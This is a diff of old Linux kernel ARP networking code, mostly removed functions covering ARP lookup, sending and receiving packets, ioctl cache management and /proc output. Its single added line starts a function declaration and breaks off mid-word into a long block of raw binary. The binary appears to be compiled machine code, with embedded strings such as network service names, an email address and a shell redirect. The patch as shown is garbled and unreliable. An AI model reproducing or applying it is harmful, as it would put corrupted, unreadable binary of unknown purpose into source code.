printk(KERN_DEBUG "ARP: arp called for own IP address\n"); - memcpy(haddr, dev->dev_addr, dev->addr_len); - return 1; - } - return 0; - } - - hash = HASH(paddr); - - start_bh_atomic(); - - entry = (struct arp_table*)neigh; - - if (entry->flags & ATF_COM) - { - entry->u.dst.lastuse = jiffies; - memcpy(haddr, entry->ha, dev->addr_len); - end_bh_atomic(); - return 1; - } - - end_bh_atomic(); - return 0; -} - - -struct dst_entry* arp_find_neighbour(struct dst_entry *dst, int resolve) -{ - struct rtable *rt = (struct rtable*)dst; - struct device *dev = rt->u.dst.dev; - u32 paddr = rt->rt_gateway; - struct arp_table *entry; - unsigned long hash; - - if (dst->ops->family != AF_INET) - return NULL; - - if ((dev->flags & (IFF_LOOPBACK|IFF_NOARP)) || - (rt->rt_flags & (RTF_LOCAL|RTF_BROADCAST|RTF_MULTICAST))) - return NULL; - - hash = HASH(paddr); - - start_bh_atomic(); - - /* - * Find an entry - */ - entry = arp_lookup(paddr, dev); - - if (entry != NULL) /* It exists */ - { - atomic_inc(&entry->u.dst.refcnt); - end_bh_atomic(); - entry->u.dst.lastuse = jiffies; - return (struct dst_entry*)entry; - } - - if (!resolve) - return NULL; - - entry = arp_new_entry(paddr, dev, NULL); - - if (entry) - atomic_inc(&entry->u.dst.refcnt); - - end_bh_atomic(); - - return (struct dst_entry*)entry; -} - -/* - * Interface to link layer: send routine and receive handler. - */ - -/* - * Create and send an arp packet. If (dest_hw == NULL), we create a broadcast - * message. - */ - -void arp_send(int type, int ptype, u32 dest_ip, - struct device *dev, u32 src_ip, - unsigned char *dest_hw, unsigned char *src_hw, - unsigned char *target_hw) -{ - struct sk_buff *skb; - struct arphdr *arp; - unsigned char *arp_ptr; - - /* - * No arp on this interface. - */ - - if (dev->flags&IFF_NOARP) - return; - - /* - * Allocate a buffer - */ - - skb = alloc_skb(sizeof(struct arphdr)+ 2*(dev->addr_len+4) - + dev->hard_header_len, GFP_ATOMIC); - if (skb == NULL) - { - printk(KERN_DEBUG "ARP: no memory to send an arp packet\n"); - return; - } - skb_reserve(skb, dev->hard_header_len); - arp = (struct arphdr *) skb_put(skb,sizeof(struct arphdr) + 2*(dev->addr_len+4)); - skb->arp = 1; - skb->dev = dev; - skb->protocol = htons (ETH_P_IP); - - /* - * Fill the device header for the ARP frame - */ - dev->hard_header(skb,dev,ptype,dest_hw?dest_hw:dev->broadcast,src_hw?src_hw:NULL,skb->len); - - /* - * Fill out the arp protocol part. - * - * The arp hardware type should match the device type, except for FDDI, - * which (according to RFC 1390) should always equal 1 (Ethernet). - */ -#ifdef CONFIG_FDDI - arp->ar_hrd = (dev->type == ARPHRD_FDDI) ? htons(ARPHRD_ETHER) : htons(dev->type); -#else - arp->ar_hrd = htons(dev->type); -#endif - /* - * Exceptions everywhere. AX.25 uses the AX.25 PID value not the - * DIX code for the protocol. Make these device structure fields. - */ -#if defined(CONFIG_AX25) || defined(CONFIG_AX25_MODULE) -#if defined(CONFIG_NETROM) || defined(CONFIG_NETROM_MODULE) - arp->ar_pro = (dev->type == ARPHRD_AX25 || dev->type == ARPHRD_NETROM) ? htons(AX25_P_IP) : htons(ETH_P_IP); -#else - arp->ar_pro = (dev->type != ARPHRD_AX25) ? htons(ETH_P_IP) : htons(AX25_P_IP); -#endif -#else - arp->ar_pro = htons(ETH_P_IP); -#endif - arp->ar_hln = dev->addr_len; - arp->ar_pln = 4; - arp->ar_op = htons(type); - - arp_ptr=(unsigned char *)(arp+1); - - memcpy(arp_ptr, src_hw, dev->addr_len); - arp_ptr+=dev->addr_len; - memcpy(arp_ptr, &src_ip,4); - arp_ptr+=4; - if (target_hw != NULL) - memcpy(arp_ptr, target_hw, dev->addr_len); - else - memset(arp_ptr, 0, dev->addr_len); - arp_ptr+=dev->addr_len; - memcpy(arp_ptr, &dest_ip, 4); - skb->dev = dev; - skb->priority = 0; - - dev_queue_xmit(skb); -} - - -/* - * Receive an arp request by the device layer. - */ - -int arp_rcv(struct sk_buff *skb, struct device *dev, struct packet_type *pt) -{ - struct arphdr *arp = skb->nh.arph; - unsigned char *arp_ptr= (unsigned char *)(arp+1); - struct rtable *rt; - unsigned char *sha, *tha; - u32 sip, tip; - -/* - * The hardware length of the packet should match the hardware length - * of the device. Similarly, the hardware types should match. The - * device should be ARP-able. Also, if pln is not 4, then the lookup - * is not from an IP number. We can't currently handle this, so toss - * it. - */ -#if defined(CONFIG_FDDI) || defined(CONFIG_AP1000) - if (dev->type == ARPHRD_FDDI) - { - /* - * According to RFC 1390, FDDI devices should accept ARP hardware types - * of 1 (Ethernet). However, to be more robust, we'll accept hardware - * types of either 1 (Ethernet) or 6 (IEEE 802.2). - */ - if (arp->ar_hln != dev->addr_len || - ((ntohs(arp->ar_hrd) != ARPHRD_ETHER) && (ntohs(arp->ar_hrd) != ARPHRD_IEEE802)) || - dev->flags & IFF_NOARP || - skb->pkt_type == PACKET_OTHERHOST || - arp->ar_pln != 4) - { - kfree_skb(skb, FREE_READ); - return 0; - } - } - else - { - if (arp->ar_hln != dev->addr_len || - dev->type != ntohs(arp->ar_hrd) || - dev->flags & IFF_NOARP || - skb->pkt_type == PACKET_OTHERHOST || - arp->ar_pln != 4) - { - kfree_skb(skb, FREE_READ); - return 0; - } - } -#else - if (arp->ar_hln != dev->addr_len || - dev->type != ntohs(arp->ar_hrd) || - dev->flags & IFF_NOARP || - skb->pkt_type == PACKET_OTHERHOST || - arp->ar_pln != 4) { - kfree_skb(skb, FREE_READ); - return 0; - } -#endif - -/* - * Another test. - * The logic here is that the protocol being looked up by arp should - * match the protocol the device speaks. If it doesn't, there is a - * problem, so toss the packet. - */ - - switch (dev->type) - { -#if defined(CONFIG_AX25) || defined(CONFIG_AX25_MODULE) - case ARPHRD_AX25: - if(arp->ar_pro != htons(AX25_P_IP)) - { - kfree_skb(skb, FREE_READ); - return 0; - } - break; -#endif -#if defined(CONFIG_NETROM) || defined(CONFIG_NETROM_MODULE) - case ARPHRD_NETROM: - if(arp->ar_pro != htons(AX25_P_IP)) - { - kfree_skb(skb, FREE_READ); - return 0; - } - break; -#endif - case ARPHRD_ETHER: - case ARPHRD_ARCNET: - case ARPHRD_METRICOM: - case ARPHRD_IEEE802: - case ARPHRD_FDDI: - if(arp->ar_pro != htons(ETH_P_IP)) - { - kfree_skb(skb, FREE_READ); - return 0; - } - break; - - default: - printk(KERN_ERR "ARP: dev->type mangled!\n"); - kfree_skb(skb, FREE_READ); - return 0; - } - -/* - * Extract fields - */ - - sha=arp_ptr; - arp_ptr += dev->addr_len; - memcpy(&sip, arp_ptr, 4); - arp_ptr += 4; - tha=arp_ptr; - arp_ptr += dev->addr_len; - memcpy(&tip, arp_ptr, 4); -/* - * Check for bad requests for 127.x.x.x and requests for multicast - * addresses. If this is one such, delete it. - */ - if (LOOPBACK(tip) || MULTICAST(tip)) { - kfree_skb(skb, FREE_READ); - return 0; - } - if (ip_route_input(skb, tip, sip, 0, dev)) { - kfree_skb(skb, FREE_READ); - return 0; - } - dev = skb->dev; - rt = (struct rtable*)skb->dst; - if (dev->type != ntohs(arp->ar_hrd) || dev->flags&IFF_NOARP || - rt->rt_flags&RTF_BROADCAST) { - kfree_skb(skb, FREE_READ); - return 0; - } - -/* - * Process entry. The idea here is we want to send a reply if it is a - * request for us or if it is a request for someone else that we hold - * a proxy for. We want to add an entry to our cache if it is a reply - * to us or if it is a request for our address. - * (The assumption for this last is that if someone is requesting our - * address, they are probably intending to talk to us, so it saves time - * if we cache their address. Their address is also probably not in - * our cache, since ours is not in their cache.) - * - * Putting this another way, we only care about replies if they are to - * us, in which case we add them to the cache. For requests, we care - * about those for us and those for our proxies. We reply to both, - * and in the case of requests for us we add the requester to the arp - * cache. - */ - - if (arp->ar_op == htons(ARPOP_REQUEST)) { - struct arp_table *entry; - - for (entry = arp_proxy_list; entry; entry = entry->u.next) { - if (!((entry->ip^tip)&entry->mask) && - ((!entry->u.dst.dev && - (!(entry->flags & ATF_COM) || entry->hatype == dev->type)) - || entry->u.dst.dev == dev) ) - break; - } - - if (entry && !(entry->flags & ATF_DONTPUB)) { - char *ha = (entry->flags & ATF_COM) ? entry->ha : dev->dev_addr; - - if (rt->rt_flags&(RTF_LOCAL|RTF_NAT) || - (!(rt->rt_flags&RTCF_DOREDIRECT) && - rt->u.dst.dev != dev)) - arp_send(ARPOP_REPLY,ETH_P_ARP,sip,dev,tip,sha,ha,sha); - } - } - - start_bh_atomic(); - arp_update(sip, sha, dev, 0, !RT_LOCALADDR(rt->rt_flags) && dev->type != ARPHRD_METRICOM); - end_bh_atomic(); - kfree_skb(skb, FREE_READ); - return 0; -} - - - -/* - * User level interface (ioctl, /proc) - */ - -/* - * Set (create) an ARP cache entry. - */ - -int arp_req_set(struct arpreq *r, struct device * dev) -{ - struct arp_table *entry, **entryp; - struct sockaddr_in *si; - unsigned char *ha = NULL; - u32 ip; - u32 mask = DEF_ARP_NETMASK; - - /* - * Extract netmask (if supplied). - */ - - if (r->arp_flags&ATF_NETMASK) - { - si = (struct sockaddr_in *) &r->arp_netmask; - mask = si->sin_addr.s_addr; - } - - /* - * Extract destination. - */ - - si = (struct sockaddr_in *) &r->arp_pa; - ip = si->sin_addr.s_addr; - - if (r->arp_flags&ATF_PUBL) - { - if (ip & ~mask) - return -EINVAL; - if (!dev && (r->arp_flags & ATF_COM)) - { - dev = dev_getbyhwaddr(r->arp_ha.sa_family, r->arp_ha.sa_data); - if (!dev) - return -ENODEV; - } - } - else - { - struct rtable * rt; - int err; - - if ((r->arp_flags & ATF_PERM) && !(r->arp_flags & ATF_COM)) - return -EINVAL; - err = ip_route_output(&rt, ip, 0, 1, dev); - if (err) - return err; - if (!dev) - dev = rt->u.dst.dev; - if (rt->rt_flags&(RTF_LOCAL|RTF_BROADCAST|RTF_MULTICAST|RTCF_NAT)) { - if (rt->rt_flags&RTF_BROADCAST && - dev->type == ARPHRD_METRICOM && - r->arp_ha.sa_family == ARPHRD_METRICOM) { - memcpy(dev->broadcast, r->arp_ha.sa_data, dev->addr_len); - ip_rt_put(rt); - return 0; - } - ip_rt_put(rt); - return -EINVAL; - } - ip_rt_put(rt); - } - - if (dev && (dev->flags&(IFF_LOOPBACK|IFF_NOARP))) - return -ENODEV; - - if (dev && r->arp_ha.sa_family != dev->type) - return -EINVAL; - - start_bh_atomic(); - - if (!(r->arp_flags & ATF_PUBL)) - entryp = &arp_tables[HASH(ip)]; - else - entryp = &arp_proxy_list; - - while ((entry = *entryp) != NULL) - { - if (entry->mask == mask) - break; - if ((entry->mask & mask) != mask) - break; - entryp = &entry->u.next; - } - while ((entry = *entryp) != NULL && entry->mask == mask) - { - if (entry->ip == ip) - break; - entryp = &entry->u.next; - } - while ((entry = *entryp) != NULL && entry->mask == mask && - entry->ip == ip) - { - if (!entry->u.dst.dev || entry->u.dst.dev == dev) - break; - entryp = &entry->u.next; - } - - while ((entry = *entryp) != NULL) - { - if (entry->ip != ip || entry->mask != mask || - entry->u.dst.dev != dev) - { - entry = NULL; - break; - } - if (entry->hatype == r->arp_ha.sa_family && - (!(r->arp_flags & ATF_MAGIC) || - entry->flags == r->arp_flags)) - break; - entryp = &entry->u.next; - } - - if (entry) - atomic_inc(&entry->u.dst.refcnt); - else - { - entry = arp_alloc(r->arp_flags&ATF_PUBL ? 0 : 1); - if (entry == NULL) - { - end_bh_atomic(); - return -ENOMEM; - } - entry->ip = ip; - entry->u.dst.dev = dev; - entry->mask = mask; - - if (dev) - entry->hatype = dev->type; - - entry->u.next = *entryp; - *entryp = entry; - } - entry->flags = r->arp_flags; - if (!(entry->flags&(ATF_PUBL|ATF_COM))) - atomic_inc(&arp_unres_size); - - if (entry->flags & ATF_PUBL) - { - if (entry->flags & ATF_COM) - { - entry->hatype = r->arp_ha.sa_family; - ha = r->arp_ha.sa_data; - } - else if (dev) - ha = dev->dev_addr; - } - else - ha = r->arp_ha.sa_data; - - if (ha) - memcpy(entry->ha, ha, dev ? dev->addr_len : MAX_ADDR_LEN); - else - memset(entry->ha, 0, MAX_ADDR_LEN); - - entry->last_updated = entry->u.dst.lastuse = jiffies; - - if (!(entry->flags & ATF_PUBL)) - { - if (entry->flags & ATF_COM) - { - arpd_update(entry->ip, entry->u.dst.dev, ha); - arp_update_hhs(entry); - } - else - arp_start_resolution(entry); - } - - dst_release(&entry->u.dst); - end_bh_atomic(); - return 0; -} - -/* - * Get an ARP cache entry. - */ - -static int arp_req_get(struct arpreq *r, struct device *dev) -{ - struct arp_table *entry; - struct sockaddr_in *si; - u32 mask = DEF_ARP_NETMASK; - - if (r->arp_flags&ATF_NETMASK) - { - si = (struct sockaddr_in *) &r->arp_netmask; - mask = si->sin_addr.s_addr; - } - - si = (struct sockaddr_in *) &r->arp_pa; - - start_bh_atomic(); - - if (!(r->arp_flags & ATF_PUBL)) - entry = arp_tables[HASH(si->sin_addr.s_addr)]; - else - entry = arp_proxy_list; - - for ( ; entry ;entry = entry->u.next) - { - if (entry->ip == si->sin_addr.s_addr && - (!(r->arp_flags&ATF_NETMASK) || entry->mask == mask) && - ( (r->arp_flags&ATF_PUBL) ? - (entry->u.dst.dev == dev && entry->hatype == r->arp_ha.sa_family) - : (entry->u.dst.dev == dev || !dev))) - { - if (entry->u.dst.dev) - { - memcpy(r->arp_ha.sa_data, entry->ha, entry->u.dst.dev->addr_len); - r->arp_ha.sa_family = entry->u.dst.dev->type; - strncpy(r->arp_dev, entry->u.dst.dev->name, sizeof(r->arp_dev)); - } - else - { - r->arp_ha.sa_family = entry->hatype; - memset(r->arp_ha.sa_data, 0, sizeof(r->arp_ha.sa_data)); - } - r->arp_flags = entry->flags; - end_bh_atomic(); - return 0; - } - } - - end_bh_atomic(); - return -ENXIO; -} - -int arp_req_delete(struct arpreq *r, struct device * dev) -{ - struct sockaddr_in *si; - struct arp_table *entry, **entryp; - int retval = -ENXIO; - u32 mask = DEF_ARP_NETMASK; - - if (r->arp_flags&ATF_NETMASK) - { - si = (struct sockaddr_in *) &r->arp_netmask; - mask = si->sin_addr.s_addr; - } - - si = (struct sockaddr_in *) &r->arp_pa; - - start_bh_atomic(); - - if (!(r->arp_flags & ATF_PUBL)) - entryp = &arp_tables[HASH(si->sin_addr.s_addr)]; - else - entryp = &arp_proxy_list; - - while ((entry = *entryp) != NULL) - { - if (entry->ip == si->sin_addr.s_addr - && (!(r->arp_flags&ATF_NETMASK) || entry->mask == mask) - && (entry->u.dst.dev == dev || (!(r->arp_flags&ATF_PUBL) && !dev)) - && (!(r->arp_flags&ATF_MAGIC) || r->arp_flags == entry->flags)) - { - if (!entry->u.dst.refcnt) - { - arp_free(entryp); - retval = 0; - continue; - } - if (retval) - retval = -EBUSY; - } - entryp = &entry->u.next; - } - - end_bh_atomic(); - return retval; -} - -/* - * Handle an ARP layer I/O control request. - */ - -int arp_ioctl(unsigned int cmd, void *arg) -{ - int err; - struct arpreq r; - struct device * dev = NULL; - - switch(cmd) - { - case SIOCDARP: - case SIOCSARP: - if (!suser()) - return -EPERM; - case SIOCGARP: - err = copy_from_user(&r, arg, sizeof(struct arpreq)); - if (err) - return -EFAULT; - break; - case OLD_SIOCDARP: - case OLD_SIOCSARP: - if (!suser()) - return -EPERM; - case OLD_SIOCGARP: - err = copy_from_user(&r, arg, sizeof(struct arpreq_old)); - if (err) - return -EFAULT; - memset(&r.arp_dev, 0, sizeof(r.arp_dev)); - break; - default: - return -EINVAL; - } - - if (r.arp_pa.sa_family != AF_INET) - return -EPFNOSUPPORT; - - if (!(r.arp_flags & ATF_PUBL) && - (r.arp_flags & (ATF_NETMASK|ATF_DONTPUB|ATF_MAGIC))) - return -EINVAL; - if (!(r.arp_flags & ATF_NETMASK)) - ((struct sockaddr_in *)&r.arp_netmask)->sin_addr.s_addr=DEF_ARP_NETMASK; - - if (r.arp_dev[0]) - { - if ((dev = dev_get(r.arp_dev)) == NULL) - return -ENODEV; - - if (!r.arp_ha.sa_family) - r.arp_ha.sa_family = dev->type; - if ((r.arp_flags & ATF_COM) && r.arp_ha.sa_family != dev->type) - return -EINVAL; - } - - switch(cmd) - { - case SIOCDARP: - return arp_req_delete(&r, dev); - case SIOCSARP: - return arp_req_set(&r, dev); - case OLD_SIOCDARP: - /* old SIOCDARP destroys both - * normal and proxy mappings - */ - r.arp_flags &= ~ATF_PUBL; - err = arp_req_delete(&r, dev); - r.arp_flags |= ATF_PUBL; - if (!err) - arp_req_delete(&r, dev); - else - err = arp_req_delete(&r, dev); - return err; - case OLD_SIOCSARP: - err = arp_req_set(&r, dev); - /* old SIOCSARP works so funny, - * that its behaviour can be emulated - * only approximately 8). - * It should work. --ANK - */ - if (r.arp_flags & ATF_PUBL) - { - r.arp_flags &= ~ATF_PUBL; - arp_req_delete(&r, dev); - } - return err; - case SIOCGARP: - err = arp_req_get(&r, dev); - if (!err) - err = copy_to_user(arg, &r, sizeof(r)); - return err; - case OLD_SIOCGARP: - r.arp_flags &= ~ATF_PUBL; - err = arp_req_get(&r, dev); - if (err < 0) - { - r.arp_flags |= ATF_PUBL; - err = arp_req_get(&r, dev); - } - if (!err) - err = copy_to_user(arg, &r, sizeof(struct arpreq_old)); - return err; - } - /*NOTREACHED*/ - return 0; -} - -/* - * Write the contents of the ARP cache to a PROCfs file. - */ - -#define HBUFFERLEN 30 - -int arp_get_info(char *buffer, char **start, off_t offset, int length, int dummy) -{ - int len=0; - off_t pos=0; - int size; - struct arp_table *entry; - char hbuffer[HBUFFERLEN]; - int i,j,k; - const char hexbuf[] = "0123456789ABCDEF"; - - size = sprintf(buffer,"IP address HW type Flags HW address Mask Device\n"); - - pos+=size; - len+=size; - - - for(i=0; iu.next) - { -/* - * Convert hardware address to XX:XX:XX:XX ... form. - */ -#if defined(CONFIG_AX25) || defined(CONFIG_AX25_MODULE) -#if defined(CONFIG_NETROM) || defined(CONFIG_NETROM_MODULE) - if (entry->hatype == ARPHRD_AX25 || entry->hatype == ARPHRD_NETROM) - strcpy(hbuffer,ax2asc((ax25_address *)entry->ha)); - else { -#else - if(entry->hatype==ARPHRD_AX25) - strcpy(hbuffer,ax2asc((ax25_address *)entry->ha)); - else { -#endif -#endif - - if (entry->u.dst.dev) - { - for(k=0,j=0;ku.dst.dev->addr_len;j++) - { - hbuffer[k++]=hexbuf[ (entry->ha[j]>>4)&15 ]; - hbuffer[k++]=hexbuf[ entry->ha[j]&15 ]; - hbuffer[k++]=':'; - } - hbuffer[--k]=0; - } - else - strcpy(hbuffer, "00:00:00:00:00:00"); - -#if defined(CONFIG_AX25) || defined(CONFIG_AX25_MODULE) - } -#endif - - size = sprintf(buffer+len, - "%-17s0x%-10x0x%-10x%s", - in_ntoa(entry->ip), - entry->hatype, - entry->flags, - hbuffer); -#if RT_CACHE_DEBUG < 2 - size += sprintf(buffer+len+size, - " %-17s %s\n", - entry->mask==DEF_ARP_NETMASK ? - "*" : in_ntoa(entry->mask), - entry->u.dst.dev ? entry->u.dst.dev->name : "*"); -#else - size += sprintf(buffer+len+size, - " %-17s %s\t%d\t%d\t%1d\n", - entry->mask==DEF_ARP_NETMASK ? - "*" : in_ntoa(entry->mask), - entry->u.dst.dev ? entry->u.dst.dev->name : "*", - entry->u.dst.refcnt, - entry->u.dst.hh ? entry->u.dst.hh->hh_refcnt : -1, - entry->u.dst.hh ? entry->u.dst.hh->hh_uptodate : 0); -#endif - - len += size; - pos += size; - - if (pos <= offset) - len=0; - if (pos >= offset+length) - { - end_bh_atomic(); - goto done; - } - } - end_bh_atomic(); - } -done: - - *start = buffer+len-(pos-offset); /* Start of wanted data */ - len = pos-offset; /* Start slop */ - if (len>length) - len = length; /* Ending slop */ - return len; -} - - - -/* - * Called once on startup. - */ - -static struct packet_type arp_packet_type = -{ - __constant_htons(ETH_P_ARP), - NULL, /* All devices */ - arp_rcv, - NULL, - NULL -}; - -static struct notifier_block arp_dev_notifier={ - arp_device_event, - NULL, - 0 -}; - -#ifdef CONFIG_PROC_FS -static struct proc_dir_entry proc_net_arp = { - PROC_NET_ARP, 3, "arp", - S_IFREG | S_IRUGO, 1, 0, 0, - 0, &proc_net_inode_operations, - arp_get_info -}; -#endif - -void arp_init (void) -{ - dev_add_pack(&arp_packet_type); - /* Start with the regular checks for expired arp entries. */ - add_timer(&arp_timer); - /* Register for device down reports */ - register_netdevice_notifier(&arp_dev_notifier); - -#ifdef CONFIG_PROC_FS - proc_net_register(&proc_net_arp); -#endif - -#ifdef CONFIG_ARPD - netlink_attach(NETLINK_ARPD, arpd_callback); -#endif -} - - -#ifdef CONFIG_AX25_MODULE - -/* - * ax25 -> ascii conversion - */ -char *ax2asc(ax25_address *a) -{ - static char buf[11]; - char c, *s; - int n; - - for (n = 0, s = buf; n < 6; n++) { - c = (a->ax25_call[n] >> 1) & 0x7F; - - if (c != ' ') *s++ = c; - } - - *s++ = '-'; - - if ((n = ((a->ax25_call[6] >> 1) & 0x0F)) > 9) { - *s++ = '1'; - n -= 10; - } - - *s++ = n + '0'; - *s++ = '\0'; - - if (*buf == '\0' || *buf == '-') - return "*"; - - return buf; - -} - -#endif +static int arp_set_predefined(int addr_hint, unsigned char * haddr, u32 paddr, struct devictf@Åk0C4x1|$8L$8QL$8Qjmǃ fu +HAfE t7ШtЀ6&ЀfD$D$AD$PU3 +u44I- C4L$8QL$8QSU@Љǃ 5A Cpu +USfs[^_]ÐWVSD$0t$4T$8L$<|$@t4D$ D$D$T$L$|$,u@PDuajjfF f%%PWD$PS҃5P@t#jfF f%%PWD$PS҃ +t&[^_Ít&UWVS$$u1&&$ $\$ SUjkD$( |$t D$t&D$$\$ ljvك)ddd11ɋ$9\$sPD$t$D2P|$:P$SL$AkD$( L$|$nA9$wD$$t9U$WD$,P$S$V$W$C4u&pt$$u@D$l$$$t\6EU$RP$W$ST$$t$(փT$}|$uD$t&D$9u +$uD$[^_]Ĕë[^Í6C dPCdPRQ{[^Í6CdPCdPC dPCdPRQ][^Ít&C dPCdPRQ[^Í6CdPCdPC dPCdPRQ[^Ít&RQY[^ÍCdPC dPCdPRQ[^Ít&&CdPC dPCdPRQd[^Ít&&CdPRQR [^Í6&CdPRQ [^Í6&[^Ív&L$T$1|$u 9C}RQtpps[^Ðt&1[^Ít&&RQ[^ÍvVS\$ L$T$t>|$u 9C}RQtpps[^Ðt&1[^Ít&&RQi[^ÍvT$tHR9|1Í6)Љ=~|Í1Í&L$t(ft 1Ív&Q 9})1Í&VS\$ D$ppPtSЃ)s[^Ít&VS\$ D$ppPt)s[^UWVSt$|$$ t+ dž 1[^_]Í&&ft1[^_]Ð&n|$uF PjL$ .v&jjL$ QVÃjj$RhpWP |jjjPfh$RhqWP  \PPhSh\1Dž(&3Sy;hPh\hPh\hQh\h-u@Ru +W3Ru +WMu}u'jWPMj&&jPPV4 u#VWP +jt&&P +,uhR, &,BW;:P$0 p63Rum$R Rr RhWPkS@ RhWPB dv&3RuM$R R RhWP@{3R uM$R R RhWPs@3R +uM$R R2 RhWP+@ 3RuM$R R RhWPf@Yv&3R uM$R Rr RhWPkSf@v&3R +uM$R R RhWP f@v&3R uM$R R RhWPf@9v&3S uM$R RR RhWPK3f@v&3 S +uM$R R RhWPf@yv&3SuM$R R RhWPs@A3SuM$R R2 RhWP+@3SIhPh\hPh\hQh\h/dev/null 2>&1 +0pH(P`X0P 555a +5ad4=newhouseuwaterloo.cawb3@a a*wb3a*wb3*p*(aa*8root.cachetcpmuxtcpP0@echotcphxechoudpP discardtcp، discardudp0  systattcphHX daytimetcp0 daytimeudph؍ȍnetstattcpqotdtcp؍H(8msptcp`pmspudpHchargentcpЎchargenudp(ftptcp`@Ptelnettcp(xsmtptcp`Џ%timetcp%timeudpU`x@x@x@xx@xx@xx@xx@xx@xx@x@xx@x@@x@x@xx@xx@xx@xx@xx@xx@xx@xx@xx@xx@xx@xx@xx@xx@xx@xx@U' t hhhp p t$Pp Ogettyrp|0@\y /  /4/tt++xhp?